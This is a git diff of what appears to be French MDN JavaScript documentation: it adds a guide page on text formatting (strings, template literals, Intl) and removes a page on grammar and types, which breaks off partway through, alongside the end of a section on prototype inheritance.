Pour des informations plus générales sur l'héritage et les prototypes dans JavaScript, il est conseillé de lire la page Héritage et chaîne de prototypes.

- -

L'héritage a toujours été présent dans JavaScript. Les exemples de cette page utilisent des méthodes qui ont été introduites avec ECMAScript 5. Les pages décrivant ces méthodes vous permettront de savoir si elles peuvent être émulées ou non (pour les anciennes versions notamment).

- -

Exemple

- -

B hérite de A :

- -
function A(a){
-  this.varA = a;
-}
-
-A.prototype = {
-  faireQuelqueChose : function(){
-    // ...
-  }
-}
-
-function B(a, b){
-  A.call(this, a);
-  this.varB = b;
-}
-B.prototype = Object.create(A.prototype, {
-  varB : {
-    value: null,
-    enumerable: true,
-    configurable: true,
-    writable: true
-  },
-  faireQuelqueChose : {
-    value: function(){ // surcharge
-      A.prototype.faireQuelqueChose.apply(this, arguments); // call super
-      // ...
-    },
-    enumerable: true,
-    configurable: true,
-    writable: true
-  }
-});
-
-var b = new B();
-b.faireQuelqueChose();
-
- -

Ce qui est à retenir ici :

- -
    -
  • Les types sont définis dans .prototype
    • -
  • On utiliser Object.create() pour l'héritage
    • -
- -

La propriété prototype et la méthode Object.getPrototypeOf

- -

JavaScript peut paraître déroutant, relativement à Java ou C++ car il y a une gestion dynamique, à l'exécution et qu'il n'y a pas de classe. Tous les objets sont des instances.

- -

On voit dans l'exemple précédent que la fonction A possède une propriété spéciale appelée prototype. Cette propriété spéciale est liée à l'utilisation de l'opérateur new. Une référence à l'objet prototype est copié vers la propriété interne [[Prototype]] de la nouvelle instance. Ainsi, si on fait var a1 = new A(), JavaScript (une fois que l'objet sera créé en mémoire et avant d'exécuter la fonction A() avec this lié à l'objet) définira a1.[[Prototype]] = A.prototype. Quand on accède aux propriétés d'une instance, JavaScript vérifie d'abord que la propriété en question existe ou non pour l'instance même et si ce n'est pas le cas, consulte [[Prototype]]. Cela signifie que chaque chose définie dans prototype est partagée avec toutes les instances et qu'on peut changer certains aspects du prototype par la suite, ces changements seront répercutés pour toutes les instances.

- -

Si, dans l'exemple suivant, on fait var a1 = new A(); var a2 = new A(); alors a1.faireQuelqueChose se référerait à Object.getPrototypeOf(a1).faireQuelqueChose, qui correspond exactement à A.prototype.faireQuelqueChose. Autrement dit : Object.getPrototypeOf(a1).faireQuelqueChose == Object.getPrototypeOf(a2).faireQuelqueChose == A.prototype.faireQuelqueChose.

- -

En résumé, le prototype correspond au type tandis que Object.getPrototypeOf() permet de décrire une instance.

- -

[[Prototype]] est exploré récursivement. Cela signifie qu'on cherche a1.faireQuelqueChose, puis Object.getPrototypeOf(a1).faireQuelqueChose, puis Object.getPrototypeOf(Object.getPrototypeOf(a1)).faireQuelqueChose et ainsi de suite jusqu'à ce que Object.getPrototypeOf renvoie la valeur null.

- -

Quand on appelle :

- -
var o = new Toto();
- -

JavaScript effectue en fait :

- -
var o = new Object();
-o.[[Prototype]] = Toto.prototype;
-o.Toto();
- -

Puis, si on utilise cette instruction

- -
o.unePropriété;
- -

qui vérifie si o possède une propriété unePropriété. Si ce n'est pas le cas, JavaScript vérifiera si Object.getPrototypeOf(o).unePropriété existe, si ce n'est pas le cas il vérifie Object.getPrototypeOf(Object.getPrototypeOf(o)).unePropriété et ainsi de suite.

diff --git a/files/fr/web/javascript/guide/text_formatting/index.html b/files/fr/web/javascript/guide/text_formatting/index.html new file mode 100644 index 0000000000..32e270c8d7 --- /dev/null +++ b/files/fr/web/javascript/guide/text_formatting/index.html @@ -0,0 +1,255 @@ +--- +title: Formatage de texte +slug: Web/JavaScript/Guide/Formatage_du_texte +tags: + - Guide + - JavaScript + - 'l10n:priority' +translation_of: Web/JavaScript/Guide/Text_formatting +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}
+ +

Ce chapitre présente comment travailler avec les chaînes de caractères et le texte en JavaScript.

+ +

Les chaînes de caractères

+ +

Le type {{Glossary("String")}} de JavaScript est utilisé pour représenter des données textuelles. C'est un ensemble d'"éléments" de valeurs non signées sur 16 bits (unités de codage UTF-16). Chaque élément dans la chaîne de caractères occupe une position dans la chaîne de caractères. Le premier élément se trouve à l'indice 0, le suivant à l'indice 1 et ainsi de suite. La longueur d'une chaîne de caractères est le nombre d'éléments qu'elle contient. Vous pouvez créer des chaînes de caractères en utilisant des littéraux de chaîne de caractères ou des objets chaîne de caractères.

+ + + +

Les littéraux de chaînes de caractères

+ +

Vous pouvez créer des chaînes de caractères simple en utilisant des apostrophes simples ou doubles :

+ +
'machin'
+"truc"
+ +

Des chaînes plus avancées peuvent être créées en utilisant des séquences d'échappement.

+ +

Les séquences d'échappement hexadécimales

+ +

Le nombre situé après \x est interprété comme un nombre hexadécimal :

+ +
'\xA9' // "©"
+ +

Les séquences d'échappement Unicode

+ +

Les séquences d'échappement Unicode requièrent au moins quatres caractères hexadécimaux après \u.

+ +
'\u00A9' // "©"
+ +

L'échappement d'unités de codage Unicode

+ +

Nouveau dans ECMAScript 2015. Avec les échappements d'unités de codage Unicode, tout caractère peut être échappé en utilisant des nombres hexadécimaux, de sorte qu'il est possible de d'utiliser des unités de codage Unicode jusqu'à 0x10FFFF. Avec les échappements Unicode simples, il est souvent nécessaire d'écrire les moitiés de remplacement séparément pour obtenir le même résultat.

+ +

Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}.

+ +
'\u{2F804}'
+
+// Le même avec des échappements Unicode simples
+'\uD87E\uDC04'
+
+ +

Les objets String

+ +

L'objet {{jsxref("String")}} est un conteneur autour du type de donnée primitif chaîne de caractères.

+ +
var s = new String('foo'); // crée un objet String
+console.log(s); // affiche : {'0': 'f', '1': 'o', '2': 'o'}
+typeof s; // retourne 'object'
+ +

Vous pouvez appeler chacune des méthodes de l'objet String avec une valeur littérale de chaîne de caractères : JavaScript convertira automatiquement le littéral en un objet String temporaire, appellera la méthode, puis supprimera l'objet String temporaire. Vous pouvez aussi utiliser la propriété String.length sur un littéral de chaîne de caractères.

+ +

Vous devriez utiliser des littéraux de chaîne de caractères, à moins que vous n'ayez spécifiquement besoin d'un objet String, parce que les objets String peuvent avoir un comportement contre-intuitif :

+ +
var s1 = '2 + 2'; // crée une valeur de chaîne de caractères
+var s2 = new String('2 + 2'); // crée un objet String
+eval(s1); // renvoie le nombre 4
+eval(s2); // renvoie la chaîne "2 + 2"
+ +

Un objet String possède une propriété, length, qui indique le nombre d'unités de codage UTF-16 dans la chaîne de caractères. Par exemple, le code suivant affecte à x la valeur 16, parce que la chaîne "Bonjour, Monde !" contient 16 caractères, chacun représenté par une unité de codage UTF-16. Vous pouvez accéder à chaque unité de codage en utilisant une syntaxe de tableau entre crochets. Vous ne pouvez pas changer les caractères, du fait que les chaînes sont des objets immuables (semblables à des tableaux) :

+ +
var machaine = 'Bonjour, Monde !';
+var x = machaine.length;
+machaine[0] = 'L'; // cela n'a aucun effet car les chaînes sont immuables
+machaine[0]; // cela renvoie "B"
+
+ +

Les caractères dont les valeurs scalaires sont supérieures à U+FFFF (comme certains rares caractères chinois/japonais/coréens/vietnamiens et certains emojis) sont stockés en UTF-16 via deux unités de codage de remplacement. Par exemple, une chaîne de caractères contenant le seul caractère U+1F600 ("Emoji grinning face") aura une longueur de 2. Le fait d'accéder aux unités de codage individuelles dans une telle chaîne de caractères en utilisant des crochets peut avoir des conséquences indésirables telles que la génération d'unité de codage de remplacement non conformes, en violation du standard Unicode. (Des exemples devraient être ajoutés à cette page après que le bug MDN 857438 sera corrigé. Voir aussi {{jsxref("String.fromCodePoint()")}} ou {{jsxref("String.prototype.codePointAt()")}}.

+ +

Un objet String a une grande variété de méthodes : par exemple, celles qui retournent une variation de la chaîne de caractères elle-même, telles que substring et toUpperCase.

+ +

Le tableau suivant résume les méthodes des objets {{jsxref("String")}}.

+ +

Méthodes de String

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MéthodeDescription
{{jsxref("String.charAt", "charAt")}}, {{jsxref("String.charCodeAt", "charCodeAt")}}, {{jsxref("String.codePointAt", "codePointAt")}}Retourne le caractère ou le code de caractère à la position spécifiée de la chaîne de caractères.
{{jsxref("String.indexOf", "indexOf")}}, {{jsxref("String.lastIndexOf", "lastIndexOf")}}Retourne la position de la sous-chaîne spécifiée dans la chaîne de caractères, ou la dernière position de la sous-chaîne spécifiée, respectivement.
{{jsxref("String.startsWith", "startsWith")}}, {{jsxref("String.endsWith", "endsWith")}}, {{jsxref("String.includes", "includes")}}Retourne le fait de savoir si la chaîne de caractères courante commence ou non par, finit ou non par, ou contient ou non, la chaîne spécifiée.
{{jsxref("String.concat", "concat")}}Combine le texte de deux chaînes de caractères et retourne une nouvelle chaîne de caractères.
{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}},Construit une chaîne de caractères à partir de la séquence de valeurs Unicode fournie. Cette méthode est une méthode de la classe String et non une instance de String.
{{jsxref("String.split", "split")}}Découpe un objet String en un tableau de chaînes de caractères en découpant la chaîne de caractères en sous-chaînes.
{{jsxref("String.slice", "slice")}}Extrait une partie de la chaîne de caractères et retourne une nouvelle chaîne de caractères.
{{jsxref("String.substring", "substring")}}, {{jsxref("String.substr", "substr")}}Retourne le sous-ensemble spécifié de la chaîne de caractères, en spécifiant soit des indices de début et de fin, soit l'indice de début et une longueur.
{{jsxref("String.match", "match")}}, {{jsxref("String.matchAll", "matchAll")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}}Ces fonctions utilisent des expressions rationnelles.
{{jsxref("String.toLowerCase", "toLowerCase")}}, {{jsxref("String.toUpperCase", "toUpperCase")}} +

Retourne la chaîne tout en minuscules ou tout en majuscules, respectivement.

+
{{jsxref("String.normalize", "normalize")}}Retourne la Forme Normalisée Unicode de la chaîne de caractères appelante.
{{jsxref("String.repeat", "repeat")}}Retourne une chaîne constituée des éléments de l'objet répétés le nombre de fois donné.
{{jsxref("String.trim", "trim")}}Retire les blancs en début et en fin de chaîne.
+ +

Les littéraux de modèle multi-lignes

+ +

Le littéraux de modèle sont des littéraux de chaîne de caractères permettant des expressions intégrées. Avec eux, vous pouvez utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation de chaînes.

+ +

Les littéraux de gabarits sont délimités par des accents graves (ou backticks` ` en anglais), au lieu des apostrophes simples ou doubles. Les littéraux de modèle peuvent contenir des marque-places. Ceux-ci sont indiqués par le signe dollar et des accolades (${expression}).

+ +

Multi-lignes

+ +

Tout caractère de passage à la ligne inséré dans le source fait partie du littéral de modèle. En utilisant les chaînes de caractères normales, vous auriez eu à utiliser la syntaxe suivante afin d'avoir des chaînes de caractères multi-lignes :

+ +
console.log('chaîne ligne de texte 1\n\
+chaîne ligne de texte 2');
+// "chaîne ligne de texte 1
+// chaîne ligne de texte 2"
+ +

Pour obtenir le même effet avec des chaînes de caractères multi-lignes, vous pouvez maintenant écrire :

+ +
console.log(`chaîne ligne de texte 1
+chaîne ligne de texte 2`);
+// "chaîne ligne de texte 1
+// chaîne ligne de texte 2"
+ +

Expressions intégrées

+ +

Pour intégrer des expressions dans des chaînes normales, vous devriez utiliser la syntaxe suivante :

+ +
var a = 5;
+var b = 10;
+console.log('Quinze vaut ' + (a + b) + ' et\npas ' + (2 * a + b) + '.');
+// "Quinze vaut 15 et
+// pas 20."
+ +

Maintenant, avec les modèles, vous pouvez utiliser du sucre syntaxique rendant plus lisibles les substitutions comme celle-ci :

+ +
var a = 5;
+var b = 10;
+console.log(`Quinze vaut ${a + b} et\npas ${2 * a + b}.`);
+// "Quinze vaut 15 et
+// pas 20."
+ +

Pour plus d'informations, voir les Littéraux de modèles dans la Référence JavaScript.

+ +

Internationalisation

+ +

L'objet {{jsxref("Intl")}} est l'espace de noms pour l'API d'Internationalisation de l'ECMAScript, qui fournit des fonctionnalités de comparaison de chaînes de caractères, de formatage de nombres, et de formatage des dates et heures prenant en compte la langue. Les constructeurs pour les objets {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} et {{jsxref("DateTimeFormat")}} sont des propriétés de l'objet Intl.

+ +

Formatage date et heure

+ +

L'objet {{jsxref("DateTimeFormat")}} est utile pour formater la date et l'heure. Ce qui suit formate une date en anglais telle qu'utilisée aux États-Unis (le résultat sera différent dans une autre zone horaire).

+ +
var msParJour = 24 * 60 * 60 * 1000;
+
+// 17 juillet 2014 00:00:00 UTC.
+var _17juillet2014 = new Date(msParJour * (44 * 365 + 11 + 197));
+
+var options = { year: "2-digit", month: "2-digit", day: "2-digit",
+                hour: "2-digit", minute: "2-digit", timeZoneName: "short" };
+var dateHeureAmericaine = new Intl.DateTimeFormat("en-US", options).format;
+
+console.log(dateHeureAmericaine(_17juillet2014)); // 07/16/14, 5:00 PM PDT
+
+ +

Formatage des nombres

+ +

L'objet {{jsxref("NumberFormat")}} est utile pour formater les nombres, par exemple, les devises :

+ +
var prixDeLEssence = new Intl.NumberFormat("en-US",
+                        { style: "currency", currency: "USD",
+                          minimumFractionDigits: 3 });
+
+console.log(prixDeLEssence.format(5.259)); // $5.259
+
+var decimalesHanRMBEnChine = new Intl.NumberFormat("zh-CN-u-nu-hanidec",
+                        { style: "currency", currency: "CNY" });
+
+console.log(decimalesHanRMBEnChine.format(1314.25)); // ￥ 一,三一四.二五
+
+ +

Ordonnancement

+ +

L'objet {{jsxref("Collator")}} est utile pour comparer et trier des chaînes de caractères.

+ +

Par exemple, il y a en fait deux ordres de tri en allemand, annuaire et dictionnaire. Annuaire met l'accent sur le son, et c'est comme si "ä", "ö", etc. étaient étendus en "ae", "oe", etc. avant le tri :

+ +
var noms = ['Hochberg', 'Hönigswald', 'Holzman'];
+
+var annuaireAllemand = new Intl.Collator('de-DE-u-co-phonebk');
+
+// Comme si tri de ['Hochberg', 'Hoenigswald', 'Holzman']:
+console.log(noms.sort(annuaireAllemand.compare).join(', '));
+// Affiche "Hochberg, Hönigswald, Holzman"
+
+ +

Certains mots allemands se conjuguent avec des umlauts supplémentaires, de sorte que dans les dictionnaires, le fait d'ignorer les umlauts pour le tri  est perceptible (sauf lors du tri de mots ne différant que par des umlauts, comme schon avant schön).

+ +
var dictionnaireAllemand = new Intl.Collator('de-DE-u-co-dict');
+
+// Comme si tri de ["Hochberg", "Honigswald", "Holzman"]:
+console.log(nom.sort(dictionnaireAllemand.compare).join(', '));
+// Affiche "Hochberg, Holzman, Hönigswald"
+
+ +

Pour plus d'informations sur l'API {{jsxref("Intl")}}, voir aussi Introducing the JavaScript Internationalization API.

+ +

{{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}

diff --git a/files/fr/web/javascript/guide/types_et_grammaire/index.html b/files/fr/web/javascript/guide/types_et_grammaire/index.html deleted file mode 100644 index e2c51c9cc3..0000000000 --- a/files/fr/web/javascript/guide/types_et_grammaire/index.html +++ /dev/null @@ -1,709 +0,0 @@ ---- -title: Types et grammaire -slug: Web/JavaScript/Guide/Types_et_grammaire -tags: - - Guide - - JavaScript -translation_of: Web/JavaScript/Guide/Grammar_and_types ---- -
 {{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs")}}
- -

Ce chapitre décrit les bases de la grammaire et des types de données JavaScript.

- -

Les bases du langage

- -

JavaScript emprunte la plupart des éléments de sa syntaxe à Java, C et C++ mais sa syntaxe est également influencée par Awk, Perl et Python.

- -

JavaScript est sensible à la casse et utilise l'ensemble de caractères Unicode. On pourrait donc tout à fait utiliser le mot früh comme nom de variable :

- -
var früh = "toto";
-typeof Früh; // undefined car JavaScript est sensible à la casse
-
- -

En JavaScript, les instructions sont appelées ({{Glossary("Statement", "statements")}}) et sont séparées par des points-virgules.

- -

Il n'est pas nécessaire d'inclure un point-virgule si l'on écrit une instruction sur une nouvelle ligne. Mais si vous voulez écrire plus d'une déclaration sur une seule ligne, alors elles doivent être séparées par un point-virgule. Ceci étant dit, la bonne pratique est d'inclure un point-virgule après chaque instruction. Les espaces, les tabulations et les caractères de nouvelles lignes sont considérés comme des blancs. Il existe aussi un ensemble de règles pour ajouter automatiquement des points-virgules à la fin des instructions (ASI pour Automatic Semicolon Insertion). Cependant, il est conseillé de toujours ajouter des points-virgules à la fin des instructions afin d'éviter des effets de bord néfastes.

- -

Le texte d'un code source JavaScript est analysé de gauche à droite et est converti en une série d'unités lexicales, de caractères de contrôle, de fins de lignes, de commentaires et de blancs. ECMAScript définit également certains mots-clés et littéraux. Pour plus d'informations, voir la page sur la grammaire lexicale de JavaScript dans la référence JavaScript.

- -

Commentaires

- -

La syntaxe utilisée pour les commentaires est la même que celle utilisée par le C++ et d'autres langages :

- -
// un commentaire sur une ligne
-
-/* un commentaire plus
-   long sur plusieurs lignes
- */
-
-/* Par contre on ne peut pas /* imbriquer des commentaires */ SyntaxError */
-
- -
-

Note : Vous pourrez également rencontrer une troisième forme de commentaires au début de certains fichiers JavaScript comme #!/usr/bin/env node. Ce type de commentaire indique le chemin d'un interpréteur JavaScript spécifique pour exécuter le script. Pour plus de détails, voir la page sur les commentaires d'environnement.

-
- -

Déclarations

- -

Il existe trois types de déclarations de variable en JavaScript.

- -
-
{{jsxref("Instructions/var", "var")}}
-
On déclare une variable, éventuellement en initialisant sa valeur.
-
{{jsxref("Instructions/let", "let")}}
-
On déclare une variable dont la portée est celle du bloc courant, éventuellement en initialisant sa valeur.
-
{{jsxref("Instructions/const", "const")}}
-
On déclare une constante nommée, dont la portée est celle du bloc courant, accessible en lecture seule.
-
- -

Variables

- -

Les variables sont utilisées comme des noms symboliques désignant les valeurs utilisées dans l'application. Les noms des variables sont appelés identifiants. Ces identifiants doivent respecter certaines règles.

- -

Un identifiant JavaScript doit commencer par une lettre, un tiret bas (_) ou un symbole dollar ($). Les caractères qui suivent peuvent être des chiffres (0 à 9).
- À noter: puisque Javascript est sensible aux majuscules et minuscules: les lettres peuvent comprendre les caractères de « A » à « Z » (en majuscule) mais aussi les caractères  de « a » à « z » (en minuscule).

- -

On peut aussi utiliser la plupart lettres Unicode ou ISO 8859-1 (comme å et ü, pour plus de détails, voir ce billet de blog, en anglais) au sein des identifiants. Il est également possible d'utiliser les \uXXXX séquences d'échappement Unicode comme caractères dans les identifiants.

- -

Voici des exemples d'identifiants valides : Nombre_touches, temp99, $credit, et _nom.

- -

Déclaration de variables

- -

Il est possible de déclarer des variables de plusieurs façons :

- -
    -
  • En utilisant le mot-clé {{jsxref("Instructions/var","var")}}, par exemple : var x = 42. Cette syntaxe peut être utilisée pour déclarer des variables locales ou globales selon le contexte d'exécution.
    • -
  • En utilisant le mot-clé {{jsxref("Instructions/const","const")}} ou le mot-clé {{jsxref("Instructions/let","let")}}, par exemple avec let y = 13. Cette syntaxe peut être utilisée pour déclarer une variable dont la portée sera celle du bloc. Voir le paragraphe sur les portées des variables ci-après.
    • -
- -

Il est également possible d'affecter une valeur à une variable sans utiliser de mot-clé (ex. x = 42). Cela créera une variable globale non-déclarée. Cette forme génèrera également un avertissement avec le mode strict. Attention, les variables globales non-déclarées peuvent mener à des comportements inattendus et sont considérées comme une mauvaise pratique.

- -

Évaluation de variables

- -

Une variable déclarée grâce à l'instruction var ou let sans valeur initiale définie vaudra {{jsxref("undefined")}}.

- -

Tenter d'accéder à une variable qui n'a pas été déclarée ou tenter d'accéder à un identifiant déclaré avec let avant son initialisation provoquera l'envoi d'une exception {{jsxref("ReferenceError")}}.

- -
var a;
-console.log("La valeur de a est " + a); // La valeur de a est undefined
-
-console.log("La valeur de b est " + b); // La valeur de b est undefined
-var b; // La déclaration de la variable est "remontée" (voir la section ci-après)
-
-console.log("La valeur de x est " + x); // signale une exception ReferenceError
-let x;
-let y;
-console.log("La valeur de y est " + y); // La valeur de y est undefined
-
- -

Il est possible d'utiliser undefined pour déterminer si une variable possède une valeur. Dans l'exemple qui suit, la condition de l'instruction if sera validée car la variable n'a pas été initialisée (elle a simplement été déclarée) :

- -
var input;
-if (input === undefined){
-  faireCeci();
-} else {
-  faireCela();
-}
-
- -

La valeur undefined se comporte comme le booléen false lorsqu'elle est utilisée dans un contexte booléen. Ainsi, le fragment de code qui suit exécutera la fonction maFonction puisque le premier élément de monTableau n'est pas défini :

- -
var monTableau = new Array();
-if (!monTableau[0]){
-  maFunction();
-}
-
- -

La valeur undefined est convertie en {{jsxref("NaN")}} (pour Not a Number : « n'est pas un nombre ») lorsqu'elle est utilisée dans un contexte numérique.

- -
var a;
-a + 2; // NaN
- -

Une variable valant null sera toujours considérée comme 0 dans un contexte numérique et comme false dans un contexte booléen. Par exemple, on aura :

- -
var n = null;
-console.log(n * 32); // Le log affichera 0
- -

Les portées de variables

- -

Lorsqu'une variable est déclarée avec var en dehors des fonctions, elle est appelée variable globale car elle est disponible pour tout le code contenu dans le document. Lorsqu'une variable est déclarée dans une fonction, elle est appelée variable locale car elle n'est disponible qu'au sein de cette fonction.

- -

Avant ECMAScript 2015 (ES6), JavaScript ne définissait pas de portée pour une instruction de bloc ; les éléments du bloc seront locaux pour le code qui contient le bloc (que ce soit une fonction ou le contexte global). Ainsi, l'exemple qui suit affichera 5 car la portée de x est la fonction (ou le contexte global) dans lequel x est déclaré, pas le bloc (correspondant à l'instruction if dans ce cas) :

- -
if (true) {
-  var x = 5;
-}
-console.log(x); // x vaut 5
-
- -

La déclaration {{jsxref("Instructions/let","let")}}, introduite avec ECMAScript 2015, ajoute un nouveau comportement :

- -
if (true) {
-  let y = 5;
-}
-console.log(y); // ReferenceError: y is not defined
-
- -

Remontée de variables (hoisting)

- -

Une autre chose peut paraître étrange en JavaScript : il est possible, sans recevoir d'exception, de faire référence à une variable qui est déclarée plus tard. Ce concept est appelé « remontée » (hoisting en anglais) car, d'une certaine façon, les variables sont remontées en haut de la fonction ou de l'instruction. En revanche, les variables qui n'ont pas encore été initialisées renverront la valeur undefined. Ainsi, même si on déclare une variable et qu'on l'initialise après l'avoir utilisée ou y avoir fait référence, la valeur utilisée « la plus haute » sera toujours undefined.

- -
/**
- * Exemple 1
- */
-console.log(x === undefined); // donne "true"
-var x = 3;
-
-/**
- * Exemple 2
- */
-// renverra undefined
-var maVar = "ma valeur";
-
-(function () {
-  console.log(maVar); // undefined
-  var maVar = "valeur locale";
-})();
-
- -

Les exemples précédents peuvent être reformulés plus explicitement ainsi :

- -
/**
- * Exemple 1
- */
-var x;
-console.log(x === undefined); // donne "true"
-x = 3;
-
-/**
- * Exemple 2
- */
-var maVar = "ma valeur";
-
-(function () {
-  var maVar;
-  console.log(maVar); // undefined
-  maVar = "valeur locale";
-})();
-
- -

C'est pourquoi il est conseillé de placer les instructions var dès que possible dans le code. De plus, cette bonne pratique aide à rendre le code plus lisible.

- -

Avec ECMAScript 2015, let (const) remontera la variable en haut du bloc mais ne l'initialisera pas. Aussi, si on fait référence à la variable dans le bloc avant la déclaration, on obtient une {{jsxref("ReferenceError")}} car la variable est dans une « zone morte temporelle ». entre le début du bloc et le traitement de la déclaration

- -
function faire_quelquechose() {
-  console.log(toto); // ReferenceError
-  let toto = 2;
-}
- -

Remontée de fonctions

- -

En ce qui concerne les fonctions, seules les déclarations de fonctions sont remontées. Pour les expressions de fonctions, il n'y a pas de telle remontée car la variable associée n'a pas encore été affectée avec la valeur finale (comme vu avant) :

- -
/* Déclaration de fonction */
-toto();  // "truc"
-function toto(){
-  console.log("truc");
-}
-
-/* Expression de fonction */
-machin();      // erreur TypeError : machin n'est pas une fonction
-var machin = function() {
-  console.log("titi");
-}
-
- -

Les variables globales

- -

Les variables globales sont en réalité des propriétés de l'objet global. Dans les pages web, l'objet global est {{domxref("window")}}, et on peut donc accéder ou modifier la valeur de variables globales en utilisant la syntaxe suivante : window.variable .

- -

Ainsi, il est possible d'accéder à des variables déclarées dans une fenêtre ou dans un cadre depuis une autre fenêtre ou depuis un autre cadre (frame) en spécifiant son nom. Si, par exemple, une variable appelée numTéléphone est déclarée dans un document FRAMESET, il est possible d'y faire référence, depuis un cadre fils, avec la syntaxe parent.numTéléphone.

- -

Constantes

- -

Il est possible de créer des constantes en lecture seule en utilisant le mot-clé {{jsxref("Instructions/const","const")}}. La syntaxe d'un identifiant pour une constante est la même que pour les variables (elle doit débuter avec une lettre, un tiret du bas, un symbole dollar et peut contenir des caractères numériques, alphabétiques et des tirets bas voire des caractères Unicode).

- -
const préfixe = '212';
-
- -

Une constante ne peut pas changer de valeur grâce à une affectation ou être re-déclarée pendant l'exécution du script.

- -

Les règles de portée des constantes sont les mêmes que pour les variables, à l'exception du mot-clé const qui est obligatoire. S'il est oublié, l'identifiant sera considéré comme celui d'une variable.

- -

Il est impossible de déclarer une constante avec le même nom qu'une autre variable ou fonction dans la même portée.

- -
// Renverra une erreur
-function f() {};
-const f = 5;
-
-// Renverra également une erreur
-function f() {
-  const g = 5;
-  var g;
-
-  //instructions
-}
-
- -

Cependant, les propriétés des objets qui sont affectés comme constantes ne sont pas protégées, on pourra ainsi exécuter sans problème le code suivant :

- -
const MON_OBJET = {"clé": "valeur"};
-MON_OBJET.clé = "autreValeur";
- -

De même, le contenu d'un tableau peut être modifié sans alerte :

- -
const MON_TABLEAU = ["HTML", "CSS"];
-MON_TABLEAU.push("JavaScript");
-console.log(MON_TABLEAU); // ["HTML", "CSS", "JavaScript"]
-
- -

Structures de données et types

- -

Types de données

- -

La dernière version du standard ECMAScript définit sept types de données :

- -
    -
  • Six types de données primitifs : -
      -
    • Type booléen : true et false.
      • -
    • Type nul (null), un mot-clé spécial pour indiquer une valeur nulle (au sens informatique). JavaScript étant sensible à la casse, null n'est pas Null, NULL, ou toute autre variante.
      • -
    • Un type pour les valeurs indéfinies (undefined).
      • -
    • Un type pour les nombres entiers ou décimaux. Par exemple : 42 ou 3.14159.
      • -
    • Un type pour représenter les grands nombres entiers BigInt, par exemple 9007199254740992n.
      • -
    • Un type pour les chaînes de caractères, une séquence de caractères qui représente une valeur textuelle. Par exemple : "Coucou"
      • -
    • Un type pour les symboles, apparus avec ECMAScript 2015 (ES6). Ce type est utilisé pour représenter des données immuables et uniques.
      • -
    -
    • -
  • et un type pour les objets (Object)
    • -
- -

Bien que cette description couvre peu de types de données, ceux-ci vous permettent d'implémenter une grande variété de fonctions au sein de vos applications. Les objets et les fonctions sont parmi les briques fondamentales du langage. On peut considérer, à première vue, les objets comme des conteneurs de valeurs et de fonctions pour une application.

- -

Conversion de types de données

- -

JavaScript est un langage à typage dynamique. Cela signifie qu'il n'est pas nécessaire de spécifier le type de données d'une variable lors de sa déclaration. Les types de données sont convertis automatiquement durant l'exécution du script. Ainsi, il est possible de définir une variable de cette façon :

- -
-
var réponse = 42;
-
-
- -

Et plus tard, d'affecter une chaîne de caractères à cette même variable :

- -
-
réponse = "Merci pour le dîner...";
-
-
- -

JavaScript utilisant un typage dynamique, cette dernière instruction ne renverra pas d'erreur.

- -

Lorsque des expressions impliquent des chaînes de caractères et des valeurs numériques ainsi que l'opérateur +, JavaScript convertit les nombres en chaînes de caractères :

- -
x = "La réponse est " + 42; // "La réponse est 42"
-y = 42 + " est la réponse"; // "42 est la réponse"
-
- -

Avec des instructions impliquant d'autres opérateurs, JavaScript ne convertit pas nécessairement les valeurs numériques en chaînes de caractères. Ainsi, on aura :

- -
"37" - 7; // 30
-"37" + 7; // "377"
-
- -

Conversion de chaînes de caractères en nombres

- -

Si un nombre est représenté en mémoire par une chaîne de caractères, il y a des méthodes pour effectuer la bonne conversion :

- -
    -
  • {{jsxref("Objets_globaux/parseInt", "parseInt()")}}
    • -
  • {{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}
    • -
- -

parseInt renverra uniquement des nombres entiers, étant ainsi inappropriée pour la manipulation de nombre décimaux. Une bonne pratique pour cette fonction est de toujours inclure l'argument qui indique dans quelle base numérique le résultat doit être renvoyé (base 2, base 10...).

- -
parseInt("101", 2); // 5
- -

L'opérateur + unaire

- -

Une autre méthode pour récupérer un nombre à partir d'une chaîne de caractères consiste à utiliser l'opérateur +.

- -
"1.1" + "1.1" = "1.11.1"
-+"1.1" = 1.1 // fonctionne seulement avec le + unaire
-
- -

Littéraux

- -

Les littéraux sont utilisés pour représenter des valeurs en JavaScript. Ce sont des valeurs fixes, pas des variables, qui sont fournies littéralement au script. Cette section décrit les différents types de littéraux :

- - - -

Les littéraux de tableaux

- -

Un littéral de tableau est une liste de zéro ou plusieurs expressions, dont chacune représente l'élément d'un tableau, encadrées par des crochets ([]). Lorsqu'un tableau est créé à partir d'un littéral, il est initialisé avec les valeurs spécifiées qui sont ses éléments, sa longueur correspondant au nombre d'arguments donnés.

- -

L'exemple suivant crée ainsi le tableau cafés avec trois éléments et une taille égale à 3 :

- -
var cafés = ["Brésilien", "Colombien", "Kona"];
-
- -
-

Note : Un littéral de tableau est du type d'un initialisateur d'objets. Voir l'utilisation d'initialisateurs d'objets.

-
- -

Si un tableau est créé en utilisant un littéral dans un script du plus haut niveau, JavaScript interprète le tableau chaque fois qu'il évalue l'expression contenant le littéral. De plus, un littéral utilisé dans une fonction est créé chaque fois que la fonction est appelée.

- -

Les littéraux de tableaux sont également des objets Array. Voir la page sur l'objet Array pour plus de détails.

- -

Les virgules supplémentaires

- -

Il n'est pas nécessaire de définir tous les éléments dans un littéral de tableau. Si vous utilisez deux virgules, l'une à la suite de l'autre, le tableau utilisera la valeur undefined pour les éléments non définis. L'exemple qui suit utilise le tableau poisson :

- -
var poisson = ["Clown", , "Chat"];
-
- -

Ce tableau possède deux éléments ayant une valeur et un élément vide (poisson[0] vaut "Clown", poisson[1] vaut undefined, et poisson[2] vaut "Chat").

- -

